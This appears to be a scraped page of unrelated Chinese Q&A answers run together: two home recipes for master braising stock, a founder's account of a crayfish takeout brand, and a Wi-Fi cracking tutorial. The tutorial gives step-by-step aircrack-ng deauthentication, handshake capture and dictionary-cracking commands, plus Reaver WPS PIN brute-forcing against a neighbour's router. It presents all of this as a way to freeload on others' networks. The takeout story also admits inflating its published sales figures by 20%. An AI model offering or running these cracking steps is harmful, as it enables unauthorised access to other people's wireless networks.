&img src=&/f3b9ab662ee0d38b0dda2fd6bb544237_b.jpg& data-rawwidth=&580& data-rawheight=&386& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/f3b9ab662ee0d38b0dda2fd6bb544237_r.jpg&&&p&无锡排骨之所以好吃，除了选料和厨师的手艺外，最重要的就是那锅卤。但是无锡排骨的老卤是各个店家的镇店之宝，就和五粮液的酒窖一样，不外传的。&/p&&p&搞不到这些牛逼的老卤，就只能自己熬了，虽然比不上人家那几十年的料，但是自己慢慢攒，也是能攒出来的。一个正经的厨师应该有一锅属于自己的卤。&/p&&br&&p&按理说第一次熬红卤的时候用普通的油就行，但是为了开个好头，我用了自己熬的猪油。&/p&&p&我熬猪油的时候除了猪板油之外，还会加点花椒和黑胡椒，增加香气，这次加的时候还用了莳萝。&/p&&br&&img data-rawheight=&386& data-rawwidth=&580& src=&/056f0bc263b7ba2c6d9738a80aac813a_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/056f0bc263b7ba2c6d9738a80aac813a_r.jpg&&&br&&br&&p&把猪板油切小块，放到锅里，加水，水面基本改过板油就行。大火烧开，然后转小火慢慢熬。加水是为了防止板油一开始就被烧焦。慢慢的，谁会被蒸干，油会被熬出来，知道最后就剩下点猪油渣。然后就能把油滤出来了。&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/ec3d5a3e6239687_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/ec3d5a3e6239687_r.jpg&&&p&熬好了的猪油放进冰箱，因为这次用了莳萝的缘故，所以冻起来后有淡淡的绿色。&/p&&p& 第一次熬的时候原材料和香料都要用足了。我用了两只鸡，还有姜、蒜、大料、香叶、肉桂、花椒、干辣椒和小茴香。其它诸如丁香等也可以按照自己的喜好加。&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/eb558df3a89ca9f31a8e1c_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/eb558df3a89ca9f31a8e1c_r.jpg&&&p& 糖也不能少，白糖和冰糖都可以 &img data-rawheight=&386& data-rawwidth=&580& src=&/ed354c829d4e6c309fd1_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/ed354c829d4e6c309fd1_r.jpg&&&/p&&p&提前煮了几个鸡蛋，卤鸡的时候可以顺便做个卤蛋
&br&&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/c6015acfdd2_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/c6015acfdd2_r.jpg&&&p& 鸡切块，洗净，用冷水锅焯水，大火煮到沸，然后再沸个几分钟。卤里面有杂质就容易浑浊，也容易变质，所以焯水要格外用心。焯完之后鸡肉洗净、沥干。 &br&&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/661d71ee5a4bfd7f0ee2233_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/661d71ee5a4bfd7f0ee2233_r.jpg&&&p&炒锅里面下猪油烧热，放刚才的香料爆香。&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/85ef7ede10e_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/85ef7ede10e_r.jpg&&&p&&br&爆香后往锅里加冰糖，烧到冰糖融化。这里的冰糖不但能调味还能给肉上色。放进鸡肉翻炒上色，然后然后加醋、料酒、老抽、生抽。&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/7cb24e16bcc7_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/7cb24e16bcc7_r.jpg&&&p&鸡肉基本上色均匀后把炒锅里的东西转移到汤锅，加水，放鸡蛋。大火烧沸，然后小火焖1-1.5小时。 &/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/7c0fcaeab7f1a7ab642ac8ff_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/7c0fcaeab7f1a7ab642ac8ff_r.jpg&&&p&&br&焖完之后熄火，让鸡肉和鸡蛋在汤里面泡个十分钟左右。&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/bcf6bf02eccd1dacbe564ce9_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/bcf6bf02eccd1dacbe564ce9_r.jpg&&&p&鸡蛋、鸡肉捞出，剩下的汤汁要滤干净杂质，用搪瓷杯或者密封饭盒装起来，放到冰箱里面冷冻。 &/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/cd44c3f1d5114c1cfadc4bd5d2456e89_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/cd44c3f1d5114c1cfadc4bd5d2456e89_r.jpg&&&p&熬好的卤汁可以用来卤大多数的肉类，避免鱼这些气味重的东西，不然会影响整锅卤的味道。 &br&&/p&&p&下次用的时候，还
是一样的方法，肉一定要焯水焯干净，可以选择用调料炒一下来帮助入味，然后同保存起来的卤汁卤一下就好了，如果卤够老的话不炒直接卤也行。按照食材的多少
和种类，决定要卤多久。因为卤的时候水会蒸干，所以按照卤的时间长短加水，保证卤汁分量不要波动太大。 &br&&/p&&p&我的这锅卤已经用过好几次了，每次卤都能吸收食材的精华，能很明显的感觉到一次比一次香，一次比一次鲜。最近一次卤的猪蹄就不错。&/p&&img data-rawheight=&386& data-rawwidth=&580& src=&/f3b9ab662ee0d38b0dda2fd6bb544237_b.jpg& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&/f3b9ab662ee0d38b0dda2fd6bb544237_r.jpg&&&br&&br&&p& ===========================&/p&&p&原文创作于日&/p&&p&原文链接：&a class=& wrap external& href=&/?target=http%3A///blog/9934295& target=&_blank& rel=&nofollow noreferrer&&这锅老卤好好培养，以后生儿子的话给他做聘礼，生女儿的话给她做嫁妆&i class=&icon-external&&&/i&&/a&&/p&
无锡排骨之所以好吃，除了选料和厨师的手艺外，最重要的就是那锅卤。但是无锡排骨的老卤是各个店家的镇店之宝，就和五粮液的酒窖一样，不外传的。搞不到这些牛逼的老卤，就只能自己熬了，虽然比不上人家那几十年的料，但是自己慢慢攒，也是能攒出来的。一个…
感谢，我回来了，让我来实时更新，聊一聊关于创立一个外卖品牌的故事。&br&&br&我将我的故事分为三个阶段，分享给大家。&br&&br&&b&第一部分&/b&，&br&&br&&p&&strong&1、背景：我为什么要做外卖？&/strong&&/p&&p&先聊背景，我今年30岁，大一读了三个月就主动退学回老家创业，具体原因在此不表。回老家的这几年，先后卖过手机，开过冷饮店，摆过地摊，去广州进仿冒A货男装回来倒腾，几年下来亏亏赚赚攒了十多万，06年赶上股票行情不错，进去翻了个滚马上退了出来。接下来也算挺顺利，遇上了贵人老板，待我如己出，进入了房地产开发行业。&br&&/p&&p&虽然这两年地产行业整体不好做，但我还是稳步发展，名下有一家贸易公司，一家装饰公司，一家广告公司，以及在地产公司当负责人，股票2015年也小赚了一笔，日子很是惬意，衣食无忧。
&/p&&p&但终究自己是个年轻人，每天都在琢磨着开辟新的事业，毕竟手下几十号伙计，有好几个都是我从小到大的好同学，压力也挺大，地产不好做，也想转型。&br&稀里哗啦聊了这么多，开始入主题。&br&&/p&&p&有一天我在办公室炒股，有个朋友到公司来喝茶聊天，他说上海有个做盖饭的生意很火，是用小龙虾的虾尾盖在米饭上，很有商机。当时我没在意，他也坐了半个小时就走了。&/p&&p&收盘后，我突然开始琢磨这个事，我跟我公司的总经理（也是我20多年的死党，小学一年级就是同学了）开始讨论可行性，越聊越觉得可以搞，于是我马上把我另一个朋友叫了过来，他做了8年的大排档，口味虾味道很棒，因为政府不让摆宵夜，所以正在待业中。&/p&&p&&br&从下午三点聊，到晚上七点，第一份实验的小龙虾盖饭就摆在我面前了。&/p&&img src=&/27308eebfd9b47b627c4c2_b.jpg& data-rawwidth=&600& data-rawheight=&450& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&/27308eebfd9b47b627c4c2_r.jpg&&&br&&p&大家将就看看，毕竟只是试味道。&/p&&p&&strong&当晚我决定做这门生意，日。&/strong&&/p&&br&&p&&strong&二、紧锣密鼓的筹备工作&/strong&&/p&&p&然后就是品牌形象设定，因为我和我的总经理是学设计的，所以这部分的工作由自己亲自操刀。以前是文学社的社长，文案也自己写算了。&/p&&p&咨询了一下帮我楼盘做微信营销的公司，费用太高，所以微信公众号和客服号也自己弄得了。&/p&&p&租了个30平米的小户型做厨房，月租1500，押金2000，还能接受，增加了两个排风扇以及购置厨房用品和调料大概1.1万，买了两台电动车，最便宜的那种，带脚蹬，没电可以踩回来。&/p&&p&然后是餐盒，筷子，外卖包，开业活动等等的筹备，都是几个伙伴加夜班想早点开卖，截止到开业前一天，总投资大约4万块。&/p&&p&因为我一直担心的问题是，如果在开业前有人先你一步在本地做这个小龙虾盖饭，那我们就白忙活了，我一定要第一个在本地推出。&/p&&br&&p&&strong&三、开业第一天就火爆了&/strong&&/p&&p&&br&17天时间，8月17日，正式营业，只做外卖，请了一个客服接电话和微信，临时聘了两个摩的，100元一天，加上合伙的几个兄弟，能有8个人送，厨房请了三个剥虾壳的，一个打荷，一个装盒，基本能开门做生意了。&/p&&p&只有一款盖饭，卖38元一份，里面有30多只虾尾，管饱，送一份凉菜，活动期间送一瓶依云矿泉水，提升品牌形象，借力。&/p&&p&&br&8月16日中午12点，我们在朋友圈开始发布预定海报和一个花了280元制作的h5动画，标题&/p&&p&&&strong&什么样的盖饭，才能打动你的胃？&/strong&&&/p&&p&&p&&a href=&///?target=http%3A///r/alPQyDzEgGH-rXir9wZ4& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/r/alPQyDz&/span&&span class=&invisible&&EgGH-rXir9wZ4&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a& (二维码自动识别)&/p&&img src=&/d681e2e95108ec07cdc2ce52f99a271e_b.jpg& data-rawwidth=&600& data-rawheight=&1067& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&/d681e2e95108ec07cdc2ce52f99a271e_r.jpg&&&br&可以预定第二天开业的盖饭，全城免运费，一份起送，&/p&&p&为啥一份起送？&/p&&p&具体实施方法是这样的：开业的前20天，我坚持一份起送的概念，全城都送，最远的真是远到不可想象，差不多40公里。为什么我要这样做，因为我要让顾客吃到我的盖饭，尝到美味的小龙虾。体验过后，才是消费，如果一开始就坚持所有的成本考虑，这门生意就很难做，一份饭的毛利是摆在那里的，除开虾的采购成本有变化，其余是不变的，然后再是人工、水电、损耗。在前20天，我的要求很简单，每份饭不亏本，多远都送，我要让有想法尝试我们盖饭的顾客全部吃一遍。目的是什么？&/p&&p&16号中午一直到17号凌晨3点，还在接单，顺便说明一下，因为几个合伙人在本地的人际关系网不错，所以很多朋友在帮忙转发。&/p&&p&&strong&我们知道，这个事，火了。&/strong&&/p&&p&第二天把家里亲戚全部叫了过来帮忙剥虾，早上四点又临时调了800斤虾，因为预定量远远超出我们的预计，原打算当天能卖100份就不错了，结果呢？16号下午，预定到500份的时候，我马上和死党做了一张模仿电商的数据海报发到了朋友圈。&/p&&p&&p&&a href=&///?target=http%3A///r/alPQyDzEgGH-rXir9wZ4& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/r/alPQyDz&/span&&span class=&invisible&&EgGH-rXir9wZ4&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a& (二维码自动识别)&/p&&br&这个访问数据是当时h5的制作单位告诉我的，我加了百分之20的水份在里面，这个应该大家是可以理解的。&/p&&br&&p&然后，就是痛苦的一天，把所有人忙吐了。&br&&/p&&p&过程打字太累，再挂张17日当天发布的第二个数据给你们看一下&/p&&p&&a href=&///?target=http%3A///r/alPQyDzEgGH-rXir9wZ4& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/r/alPQyDz&/span&&span class=&invisible&&EgGH-rXir9wZ4&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a& (二维码自动识别)&/p&&br&&p&&strong&四、开业第二天即采取饥饿营销&/strong&&/p&&p&开业第二天，我们采取了限量策略，这也是我计划的第二步。&/p&&p&为什么要限量，我有四个考虑。&/p&&p&&strong&第一&/strong&：营业的第一天，不能代表真实的日常销量，毕竟朋友比较多，很多是捧场的，一次就点10份20份，也就这一次而已。&/p&&p&&strong&第二&/strong&：虾的口味还不够完美，因为想第一时间抢上线，所以开业前试过盖饭的人不多，我还需要时间来调整。&/p&&p&&strong&第三&/strong&：不用多说，饥饿营销。&/p&&p&&strong&第四&/strong&：也是最重要的，厨房人手不够，订单多了出不了货，没法按时送达，顾客体验差，不如不卖。&br&综合考虑后，便开始限量销售，进入调整阶段，同时也在每天接受顾客的反馈，好评和差评都有，但总的来说，第一炮打响了，口碑持续发酵中，每天微信增加的粉丝最少都有70、80个，营业额也在逐步提高。&/p&&br&&p&&strong&五、给力的营销宣传&/strong&&/p&&p&&strong&1、宣传片&/strong&&/p&&p&接下来的十天，我和几个伙伴做了两件重要的事。&/p&&p&&strong&第一件事&/strong&，是改变了小龙虾盖饭的制作方法，这里牵涉到商业机密，就不仔细说明。&/p&&p&&strong&第二件事&/strong&，我花8000块拍了个宣传片.........................................................................&/p&&br&&br&&b&【第一部分的内容只上传到此，不知道知乎是否允许，我选择开了一个微信订阅号，以后会在我个人的订阅号分享一些本人对于餐饮和创业、产品包装的故事，就当我变相吸粉也好，也希望大家支持一下。大家可以关注我的个人微信订阅号“大虎锤子”，在8月17日这样会收到推送，可以无限制分享我在创立品牌初期的故事第一部分。现在关注的朋友是看不到的，请耐心等待，时间很快，一眨眼就到了】&/b&&br&&br&&br&&br&&b&第二部分&/b&：&b&为什么我在4月份删掉了第一部份。&/b&&br&“
2月09日晚，大年初二，我在澳门威尼斯人酒店的房间，很无聊的翻看知乎，也许是喝了几杯酒，突然来了兴致，开始写下在知乎的第一篇回答，是关于过去半年来在进入餐饮行业的一些创业故事。&br&每天写一点，慢慢写，大约十天，终于写得个七七八八。我记得收到第一个赞的时候非常开心，没想到有人看，后来接着有人留下评论，让我异常兴奋，有了动力，比在赌场玩百家乐还有意思。&br&&img data-rawwidth=&750& data-rawheight=&1334& src=&/4e463bb519d4fc9a035ba9_b.jpg& class=&origin_image zh-lightbox-thumb& width=&750& data-original=&/4e463bb519d4fc9a035ba9_r.jpg&&&br&&br&我写到第二天的时候截了个图，然后半夜发微信给我的死党，说，我慢慢写，总有一天可以写到这个问题的第一名。&br&当时900多个赞遥不可及。&br&后来就没有后来了，一发不可收拾。&br&两个月时间，微信多了几百个朋友，原谅我选择性的加，私信太多，也来不及回，毕竟不是写手，每天要忙的太多。&br&希望加盟的朋友很多，几乎每天都有十来个，也接待了一部分来自全国各地的投资者和创业团队，互相学习并交流了很多思路。&br&&br&当排行到创业板块的精华第十名时，我决定删掉这个回答。&br&原因有两个：&br&第一，陆续模仿和抄袭的人太多，让我确实很心痛，很多思路和文案都是我和我的团队日夜颠倒熬出来的，也许是我在文字间写得太顺畅，让那些不愿意思考的人觉得太容易了，直接照抄。&br&我尝试过发律师函，尝试过将所有的图片加水印，还是没有用，照抄。&br&我有预料到这些事，只是没预料到这么多。&br&随便贴一张截图&br&&img data-rawwidth=&960& data-rawheight=&1280& src=&/c482dfa70b2e9a073732d_b.jpg& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/c482dfa70b2e9a073732d_r.jpg&&&br&&br&不做任何改动，全部用上了我的图。&br&&br&所以，我想删，不是怕你们抄袭，写上来这么久，我一直在文中说：灵魂是不可复制的。真的只是心痛。&br&&br&第二，我无私的分享出这篇干货，其实是有自己的打算的，当然，效果也达到了。认识了很多风投机构，收集了全国加盟意向的数据，与同行业的伙伴们交流了很多宝贵意见，同时还吸到了几千粉丝，值了。&br&&br&写一小段我们的近况：&br&三月份上了三款新品，销量不错，有一款甚至超过了小龙虾盖饭。&br&五月初会和本地的一家高端网咖合作，有一家小型的实体餐厅，很快开业了。&br&今年七月份会开设3家外卖窗口，地点已经谈好，在等门面出来。&br&很多城市，都有在谈合作或者加盟，也许很快就能和当地的朋友见面了。&br&&br&最后，感谢一位叫做张维的网友，因为你最开始的那句评论我才下决心写完的，谢谢你。&br&同时也感谢所有的赞，所有的评论和私信，也许很多没有回复，在此抱歉。&br&&br&也许删掉之后，这个回答会慢慢沉下去，如果真的对我的故事有兴趣的朋友可以私信我，我还是愿意交流的。&br&&br&之前的回答我存了一份在手机里，算是纪念。再次谢谢大家，借用韩寒先生的电影宣传词：相聚有时，后会无期。&br&&br&无聊添加了值乎问答，有兴趣的朋友可以向我提问，跟钱无关，只是好奇想试试。&br&&p&&a href=&/zhi/people/240704& class=&internal&&值乎 - 说点儿有用的&/a& (二维码自动识别)
”&/p&&br&&br&&p&&b&第三部分&/b&：&/p&&p&“&b&我称之为闭关&/b&。”&/p&&p& 做了好多好多事，忙吐，直到今天才敢回到这里，不知厚薄，告诉你们今天的我们，遇到了什么问题，变成了什么样子。&/p&&br&&p&一眨眼6月了，自从写了知乎，收到太多追捧和爱戴，似乎很多朋友爱上了我的文字，反而忽视了我到底在做什么，在卖什么，好奇怪。&/p&&p&来自全国各地的陌生朋友，加盟的和合作的，让我不可思议，惊讶字符的力量。&/p&&p&我记得说的最多的一句话：“你吃过我们的盖饭吗？如果没有吃过，一定要尝一尝，口味不对，我们的品牌再美也没用。”&/p&&p&就这样，经过几个月的筛选，终于定下来几个可以进驻的城市：&/p&&p&桂林、南昌、宁波、济南、岳阳&/p&&p&让我慢慢来聊，为什么去到这些地方，为何而去。&/p&&br&&p&&b&第一站是桂林，6月1日。&/b&&/p&&p&桂林好特殊，如果不是某电商平台，我根本不会去。&/p&&p&还好去了。&/p&&p&因为桂林够小，好处理，这样一个每天只吃米粉的城市，如果我们能攻陷，真是了不起！&/p&&p&去之前，电商平台和我们签订了每月1万份的订单，为当地7个楼盘供应活动餐品，这件事就变得简单起来。粗略估计一下，合同期三个月，无论如何都是赚，况且还有自然消费者，不去的话我就是白痴，好吧，出发。&/p&&br&坐着绿皮火车摇摇晃晃来到桂林（特意没坐高铁，因为时间没差太远，本人对绿皮火车情有独钟），天气湿热，开始慢慢认识这个城市。桂林不大，因为是旅游城市，所以除开景区之外的地方都相对陈旧和保守，也许是气候的原因，本地人皮肤比较黑，生活习惯也是相对固定，油茶和桂林米粉是本地人的生活必备，消费也很低，十块钱以内，一顿午餐基本能搞定。然后跑动到几个高消费的小区和商场，了解了一下当地有实力的人群的消费水准和入驻的品牌，心里开始盘算一些问题。&br&第一次去了三天，最终在回程的路上反复问自己一个问题：“除了地产订单，桂林还能带给我什么？”&br&如果我无法给出满意的答案，就不要开。&br&回家一边忙工作一边思考，大约一周的时间后，我跟股东们决定进军桂林。&br&我给自己的回答是这样的：&br&1、说实话，我把桂林当做试点，当做试点的原因也比较简单，人工成本低是首要，其次是运营和推广成本也不高。&br&2、我要做直营，当时在谈桂林这个城市的时候，面对我有两个选择，一个是把整个城市给当地投资人，我们收取加盟费，只负责授权品牌经营权和前期开业协助。第二个是合作经营，合作经营这个问题我一直很纠结，5月份整个月我都在跟我的法务交流这个问题，中间牵涉到未来对于品牌发展后期的股权变更、资本注资、扩张城市的控股权、在每一个独立的城市对于经营中涉及的责任和财务管理，确实很复杂。但是我最后还是选择了直营，简单一点说，我就是怕失败，没有考虑那些利于我方的因素，我只是不想对想合作的对方无法交代，既然选择了把桂林作为试点，如果有问题也要一起承担，而不是放个加盟给别人让别人当小白鼠。&br&&br&&br&&br&&br&&p&持续更新，稍等。&/p&&br&&br&&br&&img data-rawwidth=&1019& data-rawheight=&720& src=&/73022d4efcd317d5b479af_b.jpg& class=&origin_image zh-lightbox-thumb& width=&1019& data-original=&/73022d4efcd317d5b479af_r.jpg&&
感谢，我回来了，让我来实时更新，聊一聊关于创立一个外卖品牌的故事。 我将我的故事分为三个阶段，分享给大家。 第一部分， 1、背景：我为什么要做外卖？先聊背景，我今年30岁，大一读了三个月就主动退学回老家创业，具体原因在此不表。回老家的这几年，先…
( 以下为大家详细解说，如果更多感兴趣的内容可以加群哦~欢迎加入网络安全技术C群，群号码：)&br&工具： &br&1：笔记本（只要有无线网卡就行） &br&2：USB无线网卡（如果电脑网卡支持可跳过） &br&3：kali系统(VM桥接，双系统，写入U盘都行) &br&4：靠谱字典 &br&第一种方法： &br&暴力破解法 &br&何为暴力破解呢，其实就是一个一个密码试，直到正确的密码为止。 &br&现在的wifi一般加密都是： &br&1、不启用安全设置&br&2、WEP &br&3、WPA/WPA2-PSK（预共享密钥） &br&4、WPA/WPA2 802.1X （radius认证） &br&进入正题： &br&第一步： &br&进入kali启动终端输入如下： &br&root@kali:~# airmon-ng &br&看看网卡信息&br&?&br&&img src=&/v2-e3f52a9b4a_b.jpg& data-rawwidth=&1080& data-rawheight=&229& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-e3f52a9b4a_r.jpg&&&br&第二步： &br&输入： &br&airmon-ng start wlan0 &br&监听窗口 &br&&img src=&/v2-abf783eb641_b.jpg& data-rawwidth=&1059& data-rawheight=&730& class=&origin_image zh-lightbox-thumb& width=&1059& data-original=&/v2-abf783eb641_r.jpg&&&br&?第三步： &br&输入： &br&airodump-ng mon0 &br&扫描wifi信号&br&&img src=&/v2-92c56e9da2fb2c716979_b.jpg& data-rawwidth=&1060& data-rawheight=&750& class=&origin_image zh-lightbox-thumb& width=&1060& data-original=&/v2-92c56e9da2fb2c716979_r.jpg&&&br&?&br& 这里我用自己家wifi做实验 &br&第四步： &br&这是我家wifi： &br&&img src=&/v2-efd033cb4ece0c82c4a16_b.jpg& data-rawwidth=&1080& data-rawheight=&714& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-efd033cb4ece0c82c4a16_r.jpg&&从上图可以看出&br&BSSID是00:0F:32:A0:99:DC
信道（CH）是：1 &br&输入： &br&airodump-ng -w freedom -c CH --bssid 00:0F:32:A0:99:DC mon0 --ignore-negative-one &br&解释：CH表示信道，信道是多少就填多少，freedom是一会抓握手包的文件名字，他会自动生成一个freedom.cap的文件，这个名字随便你们填什么 &br&?&img src=&/v2-efd033cb4ece0c82c4a16_b.jpg& data-rawwidth=&1080& data-rawheight=&714& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-efd033cb4ece0c82c4a16_r.jpg&&&br&&img src=&/v2-9dfc8f54ff5_b.jpg& data-rawwidth=&1080& data-rawheight=&713& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-9dfc8f54ff5_r.jpg&&&br&?00:0F:32:A0:99:DC
64:5A:04:BB:54:57
&br&00:0F:32:A0:99:DC 这个是路由器的mac &br&&br&64:5A:04:BB:54:57 这个是客户端的mac &br&第五步： &br&重新开一个客户端输入命令： &br&aireplay-ng --deaut 10 -a 00:0F:32:A0:99:DC -c 64:5A:04:BB:54:57 mon0 --ignore-negative-one &img src=&/v2-fd2878feae84aca2c5edbd8e9601e64f_b.jpg& data-rawwidth=&1072& data-rawheight=&502& class=&origin_image zh-lightbox-thumb& width=&1072& data-original=&/v2-fd2878feae84aca2c5edbd8e9601e64f_r.jpg&&?掉线了，当我们重新连接抓到握手包 &img src=&/v2-c0ac74bed3a09c44f2d8d_b.jpg& data-rawwidth=&1080& data-rawheight=&500& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-c0ac74bed3a09c44f2d8d_r.jpg&&?第六步： &br&破解握手包： &img src=&/v2-2bbc5f861d441f48a37bd60_b.jpg& data-rawwidth=&1080& data-rawheight=&614& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-2bbc5f861d441f48a37bd60_r.jpg&&?命令如下： &br&aircrack-ng -w mi freedom-*.cap &br&解释：mi字典名字
freedom-*.cap &img src=&/v2-cfd2c698f4b1f69b8764d6_b.jpg& data-rawwidth=&1080& data-rawheight=&493& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-cfd2c698f4b1f69b8764d6_r.jpg&&?abc123abc这个就是我的wifi密码 &br&破解完成，成功与否靠强大的字典和运气了，希望各位亲们蹭网愉快！！！ &br&第二种：通过pin码破解 &br&这个方法很简单： &br&第一步：Wash 扫描开启WPS的网络。 &br&wash -i mon1 –C &img src=&/v2-9e89fbeb7c550de1043c4c_b.jpg& data-rawwidth=&1080& data-rawheight=&494& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-9e89fbeb7c550de1043c4c_r.jpg&&?我周围没有开启wps功能的wifi，就会出现上图那样，这样咋办呢 &br&不要急，因为有些隐藏了起来，我们直接霸王硬上弓 &br&用前面那个扫wifi的命令： &br&airodump-ng mon0 &img src=&/v2-c3d7f3856f56ebabc2d78cd7c5240212_b.jpg& data-rawwidth=&1078& data-rawheight=&495& class=&origin_image zh-lightbox-thumb& width=&1078& data-original=&/v2-c3d7f3856f56ebabc2d78cd7c5240212_r.jpg&&?看见圈起来的mac没有,选择一个PWR的值的绝对值小于70的wifi破解 &br&第二步： &br&我在这选择的是名字为:FAST_F70E的wifi &br&就他了：E4:D3:32:7F:F7:0E
4e. &br&WPA2 CCMP
FAST_F70E &br&然后命令如下: &br&reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S -vv &br&E4:D3:32:7F:F7:0E 这个mac根据路由器的mac更改，&br&我破解的wifi的mac是E4:D3:32:7F:F7:0E &img src=&/v2-cecbef8f7f23e3ddb5ba858_b.jpg& data-rawwidth=&1080& data-rawheight=&497& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-cecbef8f7f23e3ddb5ba858_r.jpg&&?如图上表示可以破解，开启了wps功能&br&&img src=&/v2-d2cce2ef8f43fe826e5cad_b.jpg& data-rawwidth=&1080& data-rawheight=&131& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-d2cce2ef8f43fe826e5cad_r.jpg&&&br&&br&?出现上图这样，就表示不能破解换其他wifi破解吧孩子&br&?&img src=&/v2-fc866f6d7f4a203e57a046c134f4234c_b.jpg& data-rawwidth=&1080& data-rawheight=&525& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&/v2-fc866f6d7f4a203e57a046c134f4234c_r.jpg&&这样就表示破解出来了 &br&提示：&br&1.如果密码被改了你知道他wifi的pin码就用如下命令：&br&reaver-i mon0 -b MAC -p PIN &br&pin码有8位:所以就是10的8次方，要穷举次 &br&这样pin也是有限制的，比如要被pin出的路由器必须得开启wps功能；貌似现在很多都是防pin路由器或300秒pin限制的。 &br&2.有些路由pin码可以通过计算得到：腾达和磊科的产品如果路由MAC地址是以“C83A35”或“00B00C”打头那么可以直接计算出PIN值。 &br&比如这个：bssid ：Tenda_579A18
mac ：C8:3A:35:57:9A:18
通过计算器将mac后6位换算成10进制数，得到5741080（pin码的前7位）,最多试10次或通过软件得到该路由pin码！ &br&3.破解时推荐这个命令： &br&reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S –d9 –t9 -vv &br&因为–d9 –t9参数可以防止pin死路由器。
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&img src=&/v2-17c3f4d64e28a657d4e29ca65932ec4e_b.jpg& data-rawwidth=&1482& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1482& data-original=&/v2-17c3f4d64e28a657d4e29ca65932ec4e_r.jpg&&&p&前些天老跑外地，冰箱里一锅养半年多的卤水忘移到冷冻，酸掉咯。于是重新煮一锅，顺便更食谱。&br&&/p&&img src=&/v2-2f3d21fb0bbe2a90be7d3f392fefa830_b.jpg& data-rawwidth=&3312& data-rawheight=&2412& class=&origin_image zh-lightbox-thumb& width=&3312& data-original=&/v2-2f3d21fb0bbe2a90be7d3f392fefa830_r.jpg&&&p&不管住在哪，习惯养一锅卤，让生活多一丝温暖。卤两斤牛肉，切成片下酒。卤一盆鸡爪，熬夜的时候啃。馋咯，卤两条鸭腿，或三只猪脚，一块鹅胸。再忙，也可丢两颗鸡蛋三片炸豆腐冷卤一夜，早晨捞出配面条。若是有朋友来，卤一整鸡或整鸭，当大菜。&/p&&img src=&/v2-8fc93e9d43f9f0259e9f_b.jpg& data-rawwidth=&3660& data-rawheight=&2592& class=&origin_image zh-lightbox-thumb& width=&3660& data-original=&/v2-8fc93e9d43f9f0259e9f_r.jpg&&&p&卤水容易熬，但难养，不同的食材卤的方式不尽相同，包括辛香料的添加，煮和泡的时间，成年累月不断的调整。&/p&
&p&川卤重色泽多加草药，而潮汕卤喜甜香类的卤料。出名的潮汕卤鹅，需用到大量的南姜，且重卤水年头，在家一般弄不来。卤鸡多放白芷和山奈，让肉味柔和增强回口。猪肉偏油腻，多加颗肉蔻一块桂皮。&/p&
&p&初次熬卤水我不加太多药料，以通用的为主，偏川卤一些，之后卤各食材再放不同香料调整。因为是家用，尽可能让一锅卤包容大多食材，省得麻烦。&b&准备的卤料配三升水，想熬多或熬少的，按比例增减即可。&/b&&/p&
&p&估计卤味将写成一系列。&/p&&br&&p&看一下准备的药料，&b&小茴香30毫升，草果一颗，香果一颗，肉豆蔻一颗，山栀两颗，川砂仁三颗，八角三颗，桂皮两截，山奈三片，白蔻四颗，甘草三片，丁香三粒，干姜一大片，陈皮三片，香叶四片，红曲米5毫升，黄冰糖20克，矿盐30克。&/b&&/p&
